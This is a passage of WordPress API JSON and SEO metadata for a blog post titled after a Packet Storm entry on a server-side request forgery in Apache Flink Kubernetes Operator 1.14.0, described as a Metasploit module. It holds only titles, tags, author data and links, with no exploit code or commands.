redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Apache Flink Kubernetes Operator 1.14.0 Server-Side Request Forgery_PACKETSTORM:223516 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=63184","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Apache Flink Kubernetes Operator 1.14.0 Server-Side Request Forgery_PACKETSTORM:223516 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-06-16T15:59:23&#8243;,&#8221;description&#8221;:&#8221;This is a Metasploit auxiliary module to demonstrate a service-side request forgery vulnerability in Apache Flink Kubernetes Operator version 1.14.0&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-16T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-16T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Apache Flink Kubernetes Operator 1.14.0...","og_url":"https:\/\/zero.redgem.net\/?p=63184","og_site_name":"zero redgem","article_published_time":"2026-06-16T11:46:43+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"11 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=63184#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=63184"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Apache Flink Kubernetes Operator 1.14.0 Server-Side Request Forgery_PACKETSTORM:223516","datePublished":"2026-06-16T11:46:43+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=63184"},"wordCount":2246,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-6.5","exploit","MEDIUM","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=63184#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=63184","url":"https:\/\/zero.redgem.net\/?p=63184","name":"\ud83d\udcc4 Apache Flink Kubernetes Operator 1.14.0 Server-Side Request Forgery_PACKETSTORM:223516 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-06-16T11:46:43+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=63184#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=63184"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=63184#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Apache Flink Kubernetes Operator 1.14.0 Server-Side Request Forgery_PACKETSTORM:223516"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/63184","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=63184"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/63184\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=63184"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=63184"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=63184"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}